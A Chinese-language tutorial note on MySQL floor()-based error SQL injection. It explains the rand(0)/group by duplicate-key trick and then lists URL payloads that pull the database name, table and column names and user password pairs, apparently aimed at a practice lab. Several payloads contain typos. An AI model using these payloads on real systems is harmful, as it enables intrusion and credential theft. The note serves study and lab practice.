3.floor报错注入

（1）涉及到的函数

as 别名，group by 分组

>select concat_ws('-',(select database()),floor(rand()*2)) as a from users group by a;

count()函数  汇总统计数量

>select count(*),concat_ws('-',(select database(0),floor(rand()*2) as a from users group by a;

偶尔出现报错#1062 - Duplicate entry'security-0' for key '<group-key>'

偶尔报错的原因

报错原理

报错语句和报错位置

>select floor(rand()*2) from users;  

#根据表users的行数随机显示0或者1

>select floor(rand(0)*2) from users;

#计算不再随机，而是按一定顺序排列

>select floor(rand(1)*2）from uses;

>select count(*),concat_ws('-',(select database()),floor(rand(0)*2)) as a from users group by a;

固定报错

>select count(*),concat_ws('-',(select database()),floor(rand(1)*2)) as a from users group by a;

固定不报错     

floor（rand(0)*2)   [0 1 1 0 1]

floor(rand(1)*2)   [0 1 0 0 0]

from users 的作用是让rand（）产生足够多次数的计算，一般使用行数比较多的默认数据表information_schema.tables

(2)floor注入

?id=1' --+union 1,count(*),concat_ws('-',(select vision()),floor(rand(0)*2)) as x  from infomati0n_schema.tables group by x  --+

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.column where table_schema=database()),floor(rand(0)*2)) as a from information_schema.tables group by a --+

?id=0' union select 1,count(*),concat_ws('-',(select group_concat(username,':',password) from users),floor(rand(0)*2)) as a from information_schema.tables group by a --+

使用group_concat无法显示，可以尝试concat

?id=0' union select 1,count(*),concat_ws('-',(select concat('~',id,username,':',password) from users limit 0,1),floor(rand(0)*2)) as a from information_schema.tables group by a --+

limit 0,1 从0开始显示第一行

1 Union select count(*),concat((查询语句),0x26,floor(rand(0)*2))x from information_schema.columns group by x;

1 count()：count()函数返回匹配指定条件的行数。count(*)函数返回表中的记录数

2 floor()：floor:函数是用来向下取整呢个的，相当于去掉小数部分

3 rand()：rand()是随机取（0，1）中的一个数，但是给它一个参数后0，即rand(0),并且传如floor()后，即：floor(rand(0)*2)它就不再是随机了，序列0110110

4 concat()：用于连接两个字符串

5 group by x:x就是相当于 as x,设一个别名

6 0x26：16进制数值，ASCII为“&”，在回显中起到分隔作用